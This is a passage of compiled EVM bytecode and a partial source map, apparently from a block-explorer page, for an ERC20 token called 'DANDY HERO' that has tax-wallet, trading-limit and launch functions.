81565b8160018114611b2a5760028114611b3457611b50565b6001915050610481565b60ff841115611b4557611b45611aa4565b50506001821b610481565b5060208310610133831016604e8410600b8410161715611b73575081810a610481565b611b7d8383611ab8565b805f1904821115611b9057611b90611aa4565b029392505050565b5f61184960ff841683611afa565b808202811582820484141761048157610481611aa4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c02575f80fd5b5051919050565b5f60208284031215611c19575f80fd5b81518015158114611849575f80fd5b5f60208284031215611c38575f80fd5b8151611849816119bc565b5f805f60608486031215611c55575f80fd5b8351925060208401519150604084015190509250925092565b6020808252602b908201527f4f6e6c7920746865207461782077616c6c65742063616e20726564756365207460408201526a686520746178207261746560a81b606082015260800190565b8082018082111561048157610481611aa4565b5f60018201611cdd57611cdd611aa4565b5060010190565b8181038181111561048157610481611aa4565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d9657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9ad957af5e4c099e20dc84389033a6cb2036a9ab6b7e7c56861969e8b81e83a64736f6c63430008170033

Deployed Bytecode

0x60806040526004361061014a575f3560e01c8063751039fc116100b3578063a9059cbb1161006d578063a9059cbb146103a7578063bf474bed146103c6578063c9567bf9146103db578063d0d8dea9146103ef578063dd62ed3e1461040e578063ef59766914610452575f80fd5b8063751039fc146103015780637d1db4a5146103155780638cd4426d1461032a5780638da5cb5b146103495780638f9a55c01461036557806395d89b411461037a575f80fd5b806323b872dd1161010457806323b872dd1461024c578063313ce5671461026b57806349bd5a5e1461028657806351bc3c85146102a557806370a08231146102b9578063715018a6146102ed575f80fd5b806306fdde0314610155578063095ea7b3146101995780630faee56f146101c85780631694505e146101eb57806318160ddd1461022257806320800a0014610236575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b5060408051808201909152600a81526944414e4459204845524f60b01b60208201525b6040516101909190611970565b60405180910390f35b3480156101a4575f80fd5b506101b86101b33660046119d3565b610471565b6040519015158152602001610190565b3480156101d3575f80fd5b506101dd60115481565b604051908152602001610190565b3480156101f6575f80fd5b5060125461020a906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b34801561022d575f80fd5b506101dd610487565b348015610241575f80fd5b5061024a6104a7565b005b348015610257575f80fd5b506101b86102663660046119fd565b610547565b348015610276575f80fd5b5060405160128152602001610190565b348015610291575f80fd5b5060135461020a906001600160a01b031681565b3480156102b0575f80fd5b5061024a6105ae565b3480156102c4575f80fd5b506101dd6102d3366004611a3b565b6001600160a01b03165f9081526001602052604090205490565b3480156102f8575f80fd5b5061024a610610565b34801561030c575f80fd5b5061024a610681565b348015610320575f80fd5b506101dd600e5481565b348015610335575f80fd5b5061024a6103443660046119d3565b61073f565b348015610354575f80fd5b505f546001600160a01b031661020a565b348015610370575f80fd5b506101dd600f5481565b348015610385575f80fd5b5060408051808201909152600581526444414e445960d81b6020820152610183565b3480156103b2575f80fd5b506101b86103c13660046119d3565b61085f565b3480156103d1575f80fd5b506101dd60105481565b3480156103e6575f80fd5b5061024a61086b565b3480156103fa575f80fd5b5061024a610409366004611a56565b610c22565b348015610419575f80fd5b506101dd610428366004611a6d565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561045d575f80fd5b5061024a61046c366004611a56565b610c68565b5f61047d338484610cae565b5060015b92915050565b5f6104946012600a611b98565b6104a290633b9aca00611ba6565b905090565b6004546001600160a01b0316336001600160a01b0316146104c6575f80fd5b47806105195760405162461bcd60e51b815260206004820152601860248201527f4e6f204554482062616c616e636520746f20726573637565000000000000000060448201526064015b60405180910390fd5b604051339082156108fc029083905f818181858888f19350505050158015610543573d5f803e3d5ffd5b5050565b5f610553848484610dd1565b6105a4843361059f85604051806060016040528060288152602001611d9c602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906115f5565b610cae565b5060019392505050565b6004546001600160a01b0316336001600160a01b0316146105cd575f80fd5b305f9081526001602052604090205480158015906105f25750601754610100900460ff165b15610600576106008161162d565b4780156105435761054381611794565b5f546001600160a01b031633146106395760405162461bcd60e51b815260040161051090611bbd565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106aa5760405162461bcd60e51b815260040161051090611bbd565b6106b66012600a611b98565b6106c490633b9aca00611ba6565b600e556106d36012600a611b98565b6106e190633b9aca00611ba6565b600f556004805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61071e6012600a611b98565b61072c90633b9aca00611ba6565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b03161461075e575f80fd5b6040516370a0823160e01b81523060048201525f906107df906064906107d99085906001600160a01b038816906370a0823190602401602060405180830381865afa1580156107af573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d39190611bf2565b906117cb565b90611850565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610835573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108599190611c09565b50505050565b5f61047d338484610dd1565b5f546001600160a01b031633146108945760405162461bcd60e51b815260040161051090611bbd565b601354600160a01b900460ff16156108ee5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610510565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556109369130919061092890600a611b98565b61059f90633b9aca00611ba6565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610986573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109aa9190611c28565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a09573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a2d9190611c28565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610a77573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a9b9190611c28565b601380546001600160a01b039283166001600160a01b0319909116179055436016556012541663f305d7194730610ae6816001600160a01b03165f9081526001602052604090205490565b5f80610af95f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610b5f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b849190611c43565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610bd9573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bfd9190611c09565b506017805461ff0019166101001790556013805460ff60a01b1916600160a01b179055565b6004546001600160a01b0316336001600160a01b031614610c555760405162461bcd60e51b815260040161051090611c6e565b600954811115610c63575f80fd5b600955565b6004546001600160a01b0316336001600160a01b031614610c9b5760405162461bcd60e51b815260040161051090611c6e565b600854811115610ca9575f80fd5b600855565b6001600160a01b038316610d105760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610510565b6001600160a01b038216610d715760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610510565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610510565b6001600160a01b038216610e975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610510565b5f8111610ef85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610510565b5f80546001600160a01b03858116911614801590610f2357505f546001600160a01b03848116911614155b8015610f3d57506004546001600160a01b03848116911614155b1561126f57610f6860646107d9600a54600d5411610f5d57600654610f61565b6008545b85906117cb565b600454909150600160a01b900460ff1615611053576012546001600160a01b03848116911614801590610fa957506013546001600160a01b03848116911614155b1561105357325f9081526005602052604090205443116110415760405162461bcd60e51b815260206004820152604760248201527f5f7472616e736665723a3a205472616e736665722064656c617920696e20757360448201527f652e204f6e6c79206f6e652070757263686173652070657220626c6f636b2061606482015266363637bbb2b21760c91b608482015260a401610510565b325f9081526005602052604090204390555b6013546001600160a01b03858116911614801561107e57506012546001600160a01b03848116911614155b80156110a257506001600160a01b0383165f9081526003602052604090205460ff16155b1561118857600e548211156110f95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610510565b600f548261111b856001600160a01b03165f9081526001602052604090205490565b6111259190611cb9565b11156111735760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610510565b600d8054905f61118283611ccc565b91905055505b6013546001600160a01b0384811691161480156111ae57506001600160a01b0384163014155b156111db576111d860646107d9600b54600d54116111ce57600754610f61565b60095485906117cb565b90505b305f9081526001602052604090205460175460ff1615801561120a57506013546001600160a01b038581169116145b801561121d5750601754610100900460ff165b801561122a575060105481115b80156112395750600c54600d54115b1561126d5761125b6112568461125184601154611891565b611891565b61162d565b47801561126b5761126b47611794565b505b505b6001600160a01b0384165f9081526003602052604090205460ff16806112ac57506001600160a01b0383165f9081526003602052604090205460ff165b80156112c157506001600160a01b0384163014155b80156112da57505f546001600160a01b03858116911614155b80156112ef57506001600160a01b0383163014155b156112f957436015555b6001600160a01b0384165f9081526003602052604090205460ff16801561132e5750600b5460165461132b9190611cb9565b43115b156113a2576001600160a01b038085165f81815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113949086815260200190565b60405180910390a350505050565b6001600160a01b0384165f9081526003602052604090205460ff161580156113e257506001600160a01b0383165f9081526003602052604090205460ff16155b156114c1576013546001600160a01b03808516911603611432576001600160a01b0384165f9081526014602052604090206015548154611421916118a5565b6002820155436001909101556114c1565b6001600160a01b0383165f908152601460205260409020805415801561146557506013546001600160a01b038681169116145b1561148e57600c54600d541161148557611480600143611ce4565b611487565b435b81556114bf565b6001600160a01b0385165f9081526014602052604090205481548110806114b457508154155b156114bd578082555b505b505b801561153957305f908152600160205260409020546114e090826118e6565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115309085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461155b90836118a5565b6001600160a01b0385165f9081526001602052604090205561159e61158083836118a5565b6001600160a01b0385165f90815260016020526040902054906118e6565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6115e785856118a5565b604051908152602001611394565b5f81848411156116185760405162461bcd60e51b81526004016105109190611970565b505f6116248486611ce4565b95945050505050565b6017805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061166d5761166d611cf7565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116c4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116e89190611c28565b816001815181106116fb576116fb611cf7565b6001600160a01b0392831660209182029290920101526012546117219130911684610cae565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906117599085905f90869030904290600401611d0b565b5f604051808303815f87803b158015611770575f80fd5b505af1158015611782573d5f803e3d5ffd5b50506017805460ff1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610543573d5f803e3d5ffd5b5f825f036117da57505f610481565b5f6117e58385611ba6565b9050826117f28583611d7c565b146118495760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610510565b9392505050565b5f61184983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611944565b5f81831161189f5782611849565b50919050565b5f61184983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115f5565b5f806118f28385611cb9565b9050838110156118495760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610510565b5f81836119645760405162461bcd60e51b81526004016105109190611970565b505f6116248486611d7c565b5f602080835283518060208501525f5b8181101561199c57858101830151858201604001528201611980565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146119d0575f80fd5b50565b5f80604083850312156119e4575f80fd5b82356119ef816119bc565b946020939093013593505050565b5f805f60608486031215611a0f575f80fd5b8335611a1a816119bc565b92506020840135611a2a816119bc565b929592945050506040919091013590565b5f60208284031215611a4b575f80fd5b8135611849816119bc565b5f60208284031215611a66575f80fd5b5035919050565b5f8060408385031215611a7e575f80fd5b8235611a89816119bc565b91506020830135611a99816119bc565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115611af257815f1904821115611ad857611ad8611aa4565b80851615611ae557918102915b93841c9390800290611abd565b509250929050565b5f82611b0857506001610481565b81611b1457505f610481565b8160018114611b2a5760028114611b3457611b50565b6001915050610481565b60ff841115611b4557611b45611aa4565b50506001821b610481565b5060208310610133831016604e8410600b8410161715611b73575081810a610481565b611b7d8383611ab8565b805f1904821115611b9057611b90611aa4565b029392505050565b5f61184960ff841683611afa565b808202811582820484141761048157610481611aa4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611c02575f80fd5b5051919050565b5f60208284031215611c19575f80fd5b81518015158114611849575f80fd5b5f60208284031215611c38575f80fd5b8151611849816119bc565b5f805f60608486031215611c55575f80fd5b8351925060208401519150604084015190509250925092565b6020808252602b908201527f4f6e6c7920746865207461782077616c6c65742063616e20726564756365207460408201526a686520746178207261746560a81b606082015260800190565b8082018082111561048157610481611aa4565b5f60018201611cdd57611cdd611aa4565b5060010190565b8181038181111561048157610481611aa4565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611d5b5784516001600160a01b031683529383019391830191600101611d36565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611d9657634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e9ad957af5e4c099e20dc84389033a6cb2036a9ab6b7e7c56861969e8b81e83a64736f6c63430008170033

Deployed Bytecode Sourcemap

3479:10745:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5623:83;;;;;;;;;;-1:-1:-1;5693:5:0;;;;;;;;;;;;-1:-1:-1;;;5693:5:0;;;;5623:83;;;;;;;:::i;:::-;;;;;;;;6456:161;;;;;;;;;;-1:-1:-1;6456:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6456:161:0;1023:187:1;4644:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4644:52:0;1215:177:1;4709:41:0;;;;;;;;;;-1:-1:-1;4709:41:0;;;;-1:-1:-1;;;;;4709:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;4709:41:0;1397:229:1;5900:95:0;;;;;;;;;;;;;:::i;13113:252::-;;;;;;;;;;;;;:::i;:::-;;6625:363;;;;;;;;;;-1:-1:-1;6625:363:0;;;;;:::i;:::-;;:::i;5809:83::-;;;;;;;;;;-1:-1:-1;5809:83:0;;4266:2;2234:36:1;;2222:2;2207:18;5809:83:0;2092:184:1;4757:28:0;;;;;;;;;;-1:-1:-1;4757:28:0;;;;-1:-1:-1;;;;;4757:28:0;;;13373:365;;;;;;;;;;;;;:::i;6003:119::-;;;;;;;;;;-1:-1:-1;6003:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6096:18:0;6069:7;6096:18;;;:9;:18;;;;;;;6003:119;2560:148;;;;;;;;;;;;;:::i;11783:197::-;;;;;;;;;;;;;:::i;4456:54::-;;;;;;;;;;;;;;;;12837:268;;;;;;;;;;-1:-1:-1;12837:268:0;;;;;:::i;:::-;;:::i;2346:79::-;;;;;;;;;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;2411:6:0;2346:79;;4517:56;;;;;;;;;;;;;;;;5714:87;;;;;;;;;;-1:-1:-1;5786:7:0;;;;;;;;;;;;-1:-1:-1;;;5786:7:0;;;;5714:87;;6130:167;;;;;;;;;;-1:-1:-1;6130:167:0;;;;;:::i;:::-;;:::i;4580:57::-;;;;;;;;;;;;;;;;12086:706;;;;;;;;;;;;;:::i;13986:235::-;;;;;;;;;;-1:-1:-1;13986:235:0;;;;;:::i;:::-;;:::i;6305:143::-;;;;;;;;;;-1:-1:-1;6305:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6413:18:0;;;6386:7;6413:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6305:143;13746:232;;;;;;;;;;-1:-1:-1;13746:232:0;;;;;:::i;:::-;;:::i;6456:161::-;6531:4;6548:39;181:10;6571:7;6580:6;6548:8;:39::i;:::-;-1:-1:-1;6605:4:0;6456:161;;;;;:::o;5900:95::-;5953:7;4323:13;4266:2;4323;:13;:::i;:::-;4310:26;;:10;:26;:::i;:::-;5973:14;;5900:95;:::o;13113:252::-;13178:10;;-1:-1:-1;;;;;13178:10:0;181;-1:-1:-1;;;;;13162:26:0;;13154:35;;;;;;13221:21;13261:14;13253:51;;;;-1:-1:-1;;;13253:51:0;;5203:2:1;13253:51:0;;;5185:21:1;5242:2;5222:18;;;5215:30;5281:26;5261:18;;;5254:54;5325:18;;13253:51:0;;;;;;;;;13315:42;;181:10;;13315:42;;;;;13346:10;;13315:42;;;;13346:10;181;13315:42;;;;;;;;;;;;;;;;;;;;;13143:222;13113:252::o;6625:363::-;6723:4;6740:36;6750:6;6758:9;6769:6;6740:9;:36::i;:::-;6787:171;6810:6;181:10;6858:89;6896:6;6858:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6858:19:0;;;;;;:11;:19;;;;;;;;181:10;6858:33;;;;;;;;;;:37;:89::i;:::-;6787:8;:171::i;:::-;-1:-1:-1;6976:4:0;6625:363;;;;;:::o;13373:365::-;13437:10;;-1:-1:-1;;;;;13437:10:0;181;-1:-1:-1;;;;;13423:24:0;;13415:33;;;;;;13498:4;13459:20;6096:18;;;:9;:18;;;;;;13518:16;;;;;:31;;-1:-1:-1;13538:11:0;;;;;;;13518:31;13515:90;;;13563:30;13580:12;13563:16;:30::i;:::-;13634:21;13669:12;;13666:65;;13695:24;13708:10;13695:12;:24::i;2560:148::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;2667:1:::1;2651:6:::0;;2630:40:::1;::::0;-1:-1:-1;;;;;2651:6:0;;::::1;::::0;2630:40:::1;::::0;2667:1;;2630:40:::1;2698:1;2681:19:::0;;-1:-1:-1;;;;;;2681:19:0::1;::::0;;2560:148::o;11783:197::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;4323:13:::1;4266:2;4323;:13;:::i;:::-;4310:26;::::0;:10:::1;:26;:::i;:::-;11836:12;:22:::0;4323:13:::1;4266:2;4323;:13;:::i;:::-;4310:26;::::0;:10:::1;:26;:::i;:::-;11869:14;:22:::0;11902:20:::1;:27:::0;;-1:-1:-1;;;;11902:27:0::1;::::0;;11945::::1;4323:13;4266:2;4323;:13;:::i;:::-;4310:26;::::0;:10:::1;:26;:::i;:::-;11945:27;::::0;1361:25:1;;;1349:2;1334:18;11945:27:0::1;;;;;;;11783:197::o:0;12837:268::-;12937:10;;-1:-1:-1;;;;;12937:10:0;181;-1:-1:-1;;;;;12921:26:0;;12913:35;;;;;;12977:41;;-1:-1:-1;;;12977:41:0;;13012:4;12977:41;;;1569:51:1;12959:15:0;;12977:63;;13036:3;;12977:54;;13023:7;;-1:-1:-1;;;;;12977:26:0;;;;;1542:18:1;;12977:41:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45;;:54::i;:::-;:58;;:63::i;:::-;13077:10;;;13051:46;;-1:-1:-1;;;13051:46:0;;-1:-1:-1;;;;;13077:10:0;;;13051:46;;;6086:51:1;;;;6153:18;;;6146:34;;;12959:81:0;;-1:-1:-1;13051:25:0;;;;;;6059:18:1;;13051:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12902:203;12837:268;;:::o;6130:167::-;6208:4;6225:42;181:10;6249:9;6260:6;6225:9;:42::i;12086:706::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;12148:11:::1;::::0;-1:-1:-1;;;12148:11:0;::::1;;;12147:12;12139:48;;;::::0;-1:-1:-1;;;12139:48:0;;6675:2:1;12139:48:0::1;::::0;::::1;6657:21:1::0;6714:2;6694:18;;;6687:30;6753:25;6733:18;;;6726:53;6796:18;;12139:48:0::1;6473:347:1::0;12139:48:0::1;12198:15;:80:::0;;-1:-1:-1;;;;;;12198:80:0::1;12235:42;12198:80:::0;;::::1;::::0;;12289:58:::1;::::0;12306:4:::1;::::0;12235:42;4323:13:::1;::::0;:2:::1;:13;:::i;:::-;4310:26;::::0;:10:::1;:26;:::i;12289:58::-;12392:15;;;;;;;;;-1:-1:-1::0;;;;;12392:15:0::1;-1:-1:-1::0;;;;;12392:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12374:55:0::1;;12438:4;12445:15;;;;;;;;;-1:-1:-1::0;;;;;12445:15:0::1;-1:-1:-1::0;;;;;12445:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12374:94;::::0;-1:-1:-1;;;;;;12374:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7311:15:1;;;12374:94:0::1;::::0;::::1;7293:34:1::0;7363:15;;7343:18;;;7336:43;7228:18;;12374:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12358:13;:110:::0;;-1:-1:-1;;;;;12358:110:0;;::::1;-1:-1:-1::0;;;;;;12358:110:0;;::::1;;::::0;;12492:12:::1;12479:10;:25:::0;12515:15:::1;::::0;::::1;:31;12554:21;12585:4;12591:24;12585:4:::0;-1:-1:-1;;;;;6096:18:0;6069:7;6096:18;;;:9;:18;;;;;;;6003:119;12591:24:::1;12616:1;12618::::0;12620:7:::1;2384::::0;2411:6;-1:-1:-1;;;;;2411:6:0;;2346:79;12620:7:::1;12515:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12515:129:0;;;-1:-1:-1;;;;;7749:15:1;;;12515:129:0::1;::::0;::::1;7731:34:1::0;7781:18;;;7774:34;;;;7824:18;;;7817:34;;;;7867:18;;;7860:34;7931:15;;;7910:19;;;7903:44;12628:15:0::1;7963:19:1::0;;;7956:35;7665:19;;12515:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12662:13:0::1;::::0;12693:15:::1;::::0;12655:71:::1;::::0;-1:-1:-1;;;12655:71:0;;-1:-1:-1;;;;;12693:15:0;;::::1;12655:71;::::0;::::1;6086:51:1::0;-1:-1:-1;;6153:18:1;;;6146:34;12662:13:0;::::1;::::0;-1:-1:-1;12655:29:0::1;::::0;6059:18:1;;12655:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12737:11:0::1;:18:::0;;-1:-1:-1;;12737:18:0::1;;;::::0;;12766:11:::1;:18:::0;;-1:-1:-1;;;;12766:18:0::1;-1:-1:-1::0;;;12766:18:0::1;::::0;;12086:706::o;13986:235::-;14079:10;;-1:-1:-1;;;;;14079:10:0;181;-1:-1:-1;;;;;14063:26:0;;14055:82;;;;-1:-1:-1;;;14055:82:0;;;;;;;:::i;:::-;14165:13;;14156:7;:22;;14148:31;;;;;;14190:13;:23;13986:235::o;13746:232::-;13838:10;;-1:-1:-1;;;;;13838:10:0;181;-1:-1:-1;;;;;13822:26:0;;13814:82;;;;-1:-1:-1;;;13814:82:0;;;;;;;:::i;:::-;13924:12;;13915:7;:21;;13907:30;;;;;;13948:12;:22;13746:232::o;6996:335::-;-1:-1:-1;;;;;7089:19:0;;7081:68;;;;-1:-1:-1;;;7081:68:0;;9206:2:1;7081:68:0;;;9188:21:1;9245:2;9225:18;;;9218:30;9284:34;9264:18;;;9257:62;-1:-1:-1;;;9335:18:1;;;9328:34;9379:19;;7081:68:0;9004:400:1;7081:68:0;-1:-1:-1;;;;;7168:21:0;;7160:68;;;;-1:-1:-1;;;7160:68:0;;9611:2:1;7160:68:0;;;9593:21:1;9650:2;9630:18;;;9623:30;9689:34;9669:18;;;9662:62;-1:-1:-1;;;9740:18:1;;;9733:32;9782:19;;7160:68:0;9409:398:1;7160:68:0;-1:-1:-1;;;;;7239:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7291:32;;1361:25:1;;;7291:32:0;;1334:18:1;7291:32:0;;;;;;;6996:335;;;:::o;7339:3831::-;-1:-1:-1;;;;;7427:18:0;;7419:68;;;;-1:-1:-1;;;7419:68:0;;10014:2:1;7419:68:0;;;9996:21:1;10053:2;10033:18;;;10026:30;10092:34;10072:18;;;10065:62;-1:-1:-1;;;10143:18:1;;;10136:35;10188:19;;7419:68:0;9812:401:1;7419:68:0;-1:-1:-1;;;;;7506:16:0;;7498:64;;;;-1:-1:-1;;;7498:64:0;;10420:2:1;7498:64:0;;;10402:21:1;10459:2;10439:18;;;10432:30;10498:34;10478:18;;;10471:62;-1:-1:-1;;;10549:18:1;;;10542:33;10592:19;;7498:64:0;10218:399:1;7498:64:0;7590:1;7581:6;:10;7573:64;;;;-1:-1:-1;;;7573:64:0;;10824:2:1;7573:64:0;;;10806:21:1;10863:2;10843:18;;;10836:30;10902:34;10882:18;;;10875:62;-1:-1:-1;;;10953:18:1;;;10946:39;11002:19;;7573:64:0;10622:405:1;7573:64:0;7648:17;2411:6;;-1:-1:-1;;;;;7684:15:0;;;2411:6;;7684:15;;;;:32;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;7703:13:0;;;2411:6;;7703:13;;7684:32;:52;;;;-1:-1:-1;7726:10:0;;-1:-1:-1;;;;;7720:16:0;;;7726:10;;7720:16;;7684:52;7680:1744;;;7763:82;7841:3;7763:73;7787:15;;7775:9;;:27;7774:61;;7821:14;;7774:61;;;7806:12;;7774:61;7763:6;;:10;:73::i;:82::-;7866:20;;7753:92;;-1:-1:-1;;;;7866:20:0;;;;7862:459;;;7925:15;;-1:-1:-1;;;;;7911:30:0;;;7925:15;;7911:30;;;;:62;;-1:-1:-1;7959:13:0;;-1:-1:-1;;;;;7945:28:0;;;7959:13;;7945:28;;7911:62;7907:399;;;8061:9;8032:39;;;;:28;:39;;;;;;8074:12;-1:-1:-1;7998:211:0;;;;-1:-1:-1;;;7998:211:0;;11234:2:1;7998:211:0;;;11216:21:1;11273:2;11253:18;;;11246:30;11312:34;11292:18;;;11285:62;11383:34;11363:18;;;11356:62;-1:-1:-1;;;11434:19:1;;;11427:38;11482:19;;7998:211:0;11032:475:1;7998:211:0;8261:9;8232:39;;;;:28;:39;;;;;8274:12;8232:54;;7907:399;8349:13;;-1:-1:-1;;;;;8341:21:0;;;8349:13;;8341:21;:55;;;;-1:-1:-1;8380:15:0;;-1:-1:-1;;;;;8366:30:0;;;8380:15;;8366:30;;8341:55;:83;;;;-1:-1:-1;;;;;;8402:22:0;;;;;;:18;:22;;;;;;;;8400:24;8341:83;8337:313;;;8464:12;;8454:6;:22;;8446:60;;;;-1:-1:-1;;;8446:60:0;;11714:2:1;8446:60:0;;;11696:21:1;11753:2;11733:18;;;11726:30;11792:27;11772:18;;;11765:55;11837:18;;8446:60:0;11512:349:1;8446:60:0;8559:14;;8549:6;8533:13;8543:2;-1:-1:-1;;;;;6096:18:0;6069:7;6096:18;;;:9;:18;;;;;;;6003:119;8533:13;:22;;;;:::i;:::-;:40;;8525:79;;;;-1:-1:-1;;;8525: